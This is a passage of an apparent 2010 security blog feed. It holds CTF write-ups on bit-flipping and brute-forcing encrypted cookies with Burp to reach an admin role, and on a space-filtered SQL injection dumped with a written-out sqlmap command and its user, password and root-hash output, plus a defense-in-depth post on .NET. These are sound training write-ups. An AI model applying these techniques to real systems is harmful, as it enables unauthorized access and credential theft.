href="http://128.238.66.100/"&gt;&lt;i&gt;&lt;b&gt;here&lt;/b&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;b&gt;.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First, thanks for &lt;a href="http://www.poly.edu/csaw"&gt;CSAW&lt;/a&gt; team for creating this CTF, it&amp;nbsp;was amazing :). Also, thanks to the people&amp;nbsp;in my team, the next time we´ll do better ;p.&lt;br /&gt;&lt;br /&gt;I'm usually scared of crypto challenges, but on CSAW i approach &lt;a href="http://128.238.66.100/crypto.txt"&gt;them&lt;/a&gt; on a creative/lazy way. Forget your crypto, the latest padding attacks and whatever. We are hackers, we usually find a way to solve things, but this time won't be on the elegant way ;p.&lt;br /&gt;&lt;br /&gt;Do you want to solve 3 challenges (1200 points) on 30 min?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Challenge 1&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After entering your username/team name, the server issue a new cookie (SID) that contains a value ciphered with Base64.&lt;br /&gt;&lt;br /&gt;Looking at the page, we obtain a role=5, but we need to obtain a role 0 to obtain the key. So let's play a bit with the co&lt;span style="font-size: small;"&gt;okie&lt;/span&gt;, changing its values to see what happen...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Normal message&lt;/u&gt;:&lt;i&gt; &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;&lt;i&gt;You're role is level 5, but you need a role level of 0 to continue&lt;/i&gt; (normal message)&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Error messages&lt;/u&gt;:&lt;br /&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;&lt;i&gt;('need more than 1 value to unpack',)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;&lt;i&gt;Reason: Sorry, an error &lt;b&gt;had&lt;/b&gt; occurred.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;&lt;i&gt;Reason: Sorry, an error &lt;b&gt;has&lt;/b&gt; occurred.&amp;nbsp; &lt;/i&gt;(strange, "has" instead of "had")&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; File "csaw.py", line 372, in challenge1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; padding_length = struct.unpack("B", ptext[-1])[0]&lt;br /&gt;IndexError: string index out of range&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; File "csaw.py", line 367, in challenge1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ptext = aes_decrypt(sid.value, CSAW_CRYPTO_1_KEY, codec='base64')&lt;br /&gt;&lt;br /&gt;&amp;nbsp; File "/home/csaw/csaw/utils.py", line 122, in aes_decrypt&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; raise IllegalBlockSizeError(16)&lt;br /&gt;IllegalBlockSizeError: Input length must be multiple of 16 when decrypting with padded cipher&lt;/i&gt; &lt;br /&gt;&lt;br /&gt;Ok, so we have an AES crypto scheme with padding, with a lot of error messages, but wait... As the application decrypt the cookie, can we manage to create a cookie which decrypted fool the application to give us a role=0?.&lt;br /&gt;&lt;br /&gt;Let's launch &lt;a href="http://portswigger.net/proxy/"&gt;Burp&lt;/a&gt; (an amazing tool, btw) and use the Intruder feature, selecting the payload "bit flipper". Burp will flip one bit of every char of the original cookie.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;GET /challenge1 HTTP/1.1&lt;br /&gt;Host: 128.238.66.100:30008&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-gb,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 115&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;Cookie: SID=&lt;b&gt;§1VPLGn4HRGWuoSZUKm1LJVCCQ00Wde6F7rF69B6lbdrcjfimsRn1fR5Xj-cMXacA6Tk0-nq-opzgBolRezQJ_Q§&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;We wait Burp to finish the attack, and after 688 request, we take a look of the results. Luckily, I found 7 different cookies values that give us the flag...&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Cookie: SID=1VPLGn4HRGWeoSZUKm1LJVCCQ00Wde6F7rF69B6lbdrcjfimsRn1fR5Xj-cMXacA6Tk0-nq-opzgBolRezQJ_Q&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Congratuations CHA (of team LENGE)!&amp;nbsp; You have successfully completed&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSAW 2010 Crypto Challenge #1.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here's your &lt;b&gt;flag: 43fb994b59e8bb99d99ef969d773ea98&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Challenge 2&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Similar challenge that before, however the previous trick is not working. However, on some errors it can be spotted the following error message.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; You're role is currently &lt;/i&gt;&lt;i&gt;&lt;u&gt;level L&lt;/u&gt;, however this area requires a role level of 0. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;So, we managed to alter the level with a modified cookie. I analysed the cookie, looking for which modifications on the original cookie allows changing the user level.&lt;br /&gt;&lt;br /&gt;On my case, seems that 3 chars could potentially affect the role level...&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Cookie:&amp;nbsp;&amp;nbsp; c2=jif5p_ozkevQZR5PPRk1YOvFhXuguXGfRclYWXn8oadaFywF7jdTjEWDP3Km6775aSmy-sgPL7&lt;u&gt;&lt;b&gt;qge&lt;/b&gt;&lt;/u&gt;D1Lo5eHNw&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;So, again, launch Burp and create an "Intruder attack", but this time, we'll create a brute force of this 3 characters, using the following charset [a-zA-Z0-9]. Yep, around 200k request, but we'll finish before that.&lt;br /&gt;&lt;br /&gt;Launch the attack, and after 1800 requests we take a look of the results...&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Congratuations guest (of team guest)!&amp;nbsp; You have successfully completed&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSAW 2010 Crypto Challenge #2.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here's your &lt;b&gt;flag: 8ee38021f40ef94e6725e9be07b49951&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;We solved that! and around 20 requests (of 1800) gave the correct answer...&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Challenge 3&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I lost the logs for this challenge, but seem that it contains a critical bug. As it can be observed on the &lt;a href="http://128.238.66.100/final/stats.txt"&gt;statistics&lt;/a&gt;, 33 Teams solved the CRYPTO 3, too high compared to the teams which solved CRYPTO1 or CRYPTO2 (16-18), so something was wrong with this challenge ;p.&lt;br /&gt;&lt;br /&gt;If we read the tip from the previous challenge: &lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;For the next challenge, you need to specify to impersonate the &lt;i&gt;Administrator&lt;/i&gt; user&lt;br /&gt;User&amp;nbsp; &lt;input name="user" value="guest" /&gt;&lt;br /&gt;&lt;br /&gt;Key &amp;nbsp; &lt;input name="key" value="NGmPjZ4zfUlwl4DJdyoCfw" /&gt; &lt;/blockquote&gt;&lt;br /&gt;So, if we issue the following GET request, we had been solved this challenge (observe that it's a silly modification of the username, from &lt;i&gt;Guest&lt;/i&gt; to &lt;i&gt;Administrator&lt;/i&gt;)&lt;br /&gt;&lt;i&gt;&lt;br /&gt;http://128.238.66.100:30008/challenge3?user=Administrator&amp;amp;key=NGmPjZ4zfUlwl4DJdyoCfw&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Flag: 2051dfd6eba0c8e4a989a4a575501506&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Conclusions&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As promised, I solved the challenges very quickly (around 30 min):&lt;br /&gt;&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;i&gt;13&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;CRYPTO2&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;400&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;2010-09-25 21:17:23&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;i&gt;12&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;CRYPTO1&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;300&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;2010-09-25 21:30:27&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;i&gt;14&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;CRYPTO3&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;500&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;2010-09-25 21:38:34&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;It is necessary to remember that sometimes it doesn't matter how you solve the challenges, just need to solve it quickly, specifically on CTF :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-5046819017221479436?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/5046819017221479436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/10/csaw-ctf-crypto-writeup-crypto1-crypto3.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/5046819017221479436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/5046819017221479436'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/10/csaw-ctf-crypto-writeup-crypto1-crypto3.html' title='CSAW CTF - Crypto Writeup (crypto1-crypto3): The easy way'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-2654790662535156110</id><published>2010-09-30T16:16:00.000-07:00</published><updated>2010-10-02T04:10:05.626-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='crypto'/><category scheme='http://www.blogger.com/atom/ns#' term='Padding Oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='Defense In Depth'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Microsoft .NET vulnerability and Defense In Depth</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;A lot of people have spoken about the Microsoft vulnerability, but I´ve missed one thing in all of this...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;First, I have to recognize that Microsoft designed very well this technology, and the proof is that, on my experience, a server developed on .NET is harder to exploit that Java/PHP. A default component (think on an ASP.NET &lt;i&gt;ComboBox&lt;/i&gt; or &lt;i&gt;DropDownList&lt;/i&gt;) includes enough validations against modifications that push us to try harder, focusing on the design errors or in the components that were developed from scratch (think about that beautiful upload feature ;p).&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;So, we have a cool technology (.NET) with a lovely design that is protected with sound cryptography. However, as the crypto seems to be "unbreakable", we feel brave enough to:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Put the configuration file (&lt;i&gt;Web.config&lt;/i&gt;) on the root of the published web folder.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Have a nice script (&lt;i&gt;WebResource.axd&lt;/i&gt; / &lt;i&gt;ScriptResource.axd&lt;/i&gt;) able to deliver any (afaik) file on the web root.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;The problem is that, eventually, the enemies will find a weakness on the only defense of our castle (cryptography), and all we know how the story ends... another good tale for Defense In Depth.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Finally a &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-070.mspx"&gt;patch&lt;/a&gt; was released, but previously to these days, I read all the &lt;a href="http://www.microsoft.com/technet/security/advisory/2416728.mspx"&gt;mitigations&lt;/a&gt; that were published by Microsoft and I missed one...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Ok, on the &lt;i&gt;Web.config&lt;/i&gt; we have plenty of critical information (database credentials, encryption keys,...). So, why we don´t recommend to encrypt this information? Maybe I'm missing something, but with this remediation, the client will be able to sleep better using &lt;b&gt;Defense In Depth&lt;/b&gt; (&lt;a href="http://msdn.microsoft.com/en-us/library/ff650304.aspx"&gt;Protected Storage&lt;/a&gt;).&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-2654790662535156110?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/2654790662535156110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/09/microsoft-net-vulnerability-and-defense.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/2654790662535156110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/2654790662535156110'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/09/microsoft-net-vulnerability-and-defense.html' title='Microsoft .NET vulnerability and Defense In Depth'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-3280486702089443768</id><published>2010-09-27T12:27:00.000-07:00</published><updated>2010-10-02T04:10:57.716-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='csaw'/><title type='text'>CTF´s hangover</title><content type='html'>I´ve spent the last 2 weekends on two great CTFs:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;RootedCON'2010 &lt;a href="http://www.rs-labs.com/rooted2010-ctf/"&gt;CTF&lt;/a&gt;: I love the challenges focused on web stuff. The  good thing about this CTF is that it keeps pushing you until you try harder  and find a solution. Finally i finished it on the top ten with some crazy approachs :). Thanks to &lt;a href="http://twitter.com/roman_soft"&gt;roman_soft&lt;/a&gt; and &lt;a href="http://twitter.com/dreyercito"&gt;dreyer&lt;/a&gt; for doing this challenge. If you missed it, be quickly, as it´ll be open some more weeks.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;CSAW &lt;a href="http://128.238.66.100/"&gt;CTF&lt;/a&gt;: Typical CTF like Defcon prequals, nice challenges, but I wanted to see the solution of some "&lt;i&gt;impossible&lt;/i&gt;" challenges (xss3, web300 and the bonus_crypto). &lt;/li&gt;&lt;/ul&gt;I´ll put some writeups of the CSAW challenge soon. The RootedCON writeup will wait until the contest is over, as I don't want to ruin people "fun" xD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-3280486702089443768?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/3280486702089443768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/09/ctfs-hangover.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3280486702089443768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3280486702089443768'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/09/ctfs-hangover.html' title='CTF´s hangover'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-4118510307054812037</id><published>2010-08-08T16:04:00.000-07:00</published><updated>2010-10-02T04:11:46.771-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='writeup'/><category scheme='http://www.blogger.com/atom/ns#' term='smpctf'/><title type='text'>[smpctf] challenge #12 writeup (web-2)</title><content type='html'>The last month I have a nice time playing the smpctf CTF, you can view all the writeups &lt;a href="http://ctf2010.smpctf.com/writeups/"&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;After connecting to the web page, we spotted an html comment that gives a clue of what was happening :).&lt;br /&gt;So, with this tip, we can infer that the webpage expects a parameter called “id”, let’s give it a try &lt;br /&gt;&lt;a href="http://66.225.157.70:8009/level2/?id=1"&gt;http://66.225.157.70:8009/level2/?id=1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With the previous request, it gives a valid message with a username. After that, we started to try different SQL injection vectors, but we were unsuccessful. The good thing is that the different error messages that were shown helped us to focus on the correct direction.&lt;br /&gt;&lt;br /&gt;Finally, we obtain an interesting finding: the server filtered all the spaces character ‘ ‘, so we need to make an injection without using spaces (0x20).&lt;br /&gt;&lt;br /&gt;A quick look on an amazing post about evading tricky MySQL filters (&lt;a href="http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/"&gt;here&lt;/a&gt;), help us to find the proper MySQL syntax to bypass the server filter.&lt;br /&gt;&lt;br /&gt;After some tries, we found a valid injection:&lt;br /&gt;&lt;a href="http://66.225.157.70:8009/level2/?pass=asdfa&amp;amp;id=id/**/and/**/1=1%23/*"&gt;http://66.225.157.70:8009/level2/?pass=asdfa&amp;amp;id=id/**/and/**/1=1%23/*&lt;/a&gt;&amp;nbsp; =&amp;gt; TRUE&lt;br /&gt;&lt;a href="http://66.225.157.70:8009/level2/?pass=asdfa&amp;amp;id=id/**/and/**/1=0%23/*"&gt;http://66.225.157.70:8009/level2/?pass=asdfa&amp;amp;id=id/**/and/**/1=0%23/*&lt;/a&gt; =&amp;gt; FALSE&lt;br /&gt;&lt;br /&gt;After that, we used the excellent SQL Injection tool sqlmap (thanks Bernardo xD) in order to obtain a full dump of the database. The only problem is that the tool will use spaces on their SQL queries, so we need to find a way to automatically substitute these non-valid characters.&lt;br /&gt;&lt;br /&gt;Finally I launch the Burp proxy, that have a cool feature called “match and replace”, so what I did was replace all the spaces with the string /**/ (MySQL comment). Lazy, but time-efficient ;p.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;alex@localhost&amp;gt; python sqlmap.py&amp;nbsp; -u 'http://66.225.157.70:8009/level2/?pass=asdfa&amp;amp;id=id' -p id --proxy=http://192.168.0.2:8080 --postfix='%23' --string=magik --current-db -T users -D level1 –dump&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;In order to make the previous command to work, we need to fool sqlmap on the first 3 queries: The tool test if the URL is stable (looking for the string ‘magik’), but it is not returned on the normal response (without injection). So, we changed these queries with burp in order to return the expected string and after that the injection was flawless.&lt;br /&gt;&lt;br /&gt;After waiting some minutes we obtained the cookie that allow us to level up :).&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| flag       | id | name          | pass            |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| iR0ck      | 1  | magik         | newPass2        |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| HaHa       | 2  | redsand       | blaISAGHEYhorse |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| lolFLAGlol | 3  | cookieMonster | 50c43871        |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Submitting the flag lolFLAGlol will allow to solve this challenge, and earn some points :)&lt;br /&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;As an interesting note, I run sqlmap in order to obtain more info the MySQL server, and this is the info that I obtained. Yep, the database user was DBA, and we obtained a nice hash to be cracked on our spared time xD.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;current database:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'level1'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;banner:&amp;nbsp;&amp;nbsp;&amp;nbsp; '5.0.84'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;current user is DBA:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'True'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;available databases [3]:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] information_schema&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] level1&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] mysql&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;current user:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'root@localhost'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;current database:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'level1'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;current user is DBA:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'True'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;database management system users [3]:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] 'root'@'127.0.0.1'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] 'root'@'localhost'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] 'root'@'slackware2-web-smp'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;database management system users password hashes:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[*] root [1]:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; password hash: *E811D7768F080444F8D9ED913EEC8200FAD3C4FE&lt;/i&gt;&lt;br /&gt;&lt;i&gt;banner:&amp;nbsp;&amp;nbsp;&amp;nbsp; '5.0.84'&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Database: level1&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Table: users&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[3 entries]&lt;/i&gt;&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | id | name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | pass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| iR0ck&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | 1&amp;nbsp; | magik&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | newPass2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| HaHa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | 2&amp;nbsp; | redsand&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | blaISAGHEYhorse |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| lolFLAGlol | 3&amp;nbsp; | cookieMonster | 50c43871&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;+------------+----+---------------+-----------------+&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-4118510307054812037?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/4118510307054812037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2010/08/smpctf-challenge-12-writeup-web-2.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/4118510307054812037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/4118510307054812037'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2010/08/smpctf-challenge-12-writeup-web-2.html' title='[smpctf] challenge #12 writeup (web-2)'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-8343552104784622148</id><published>2010-05-25T12:48:00.000-07:00</published><updated>2010-10-02T04:13:16.947-07:00</updated><category 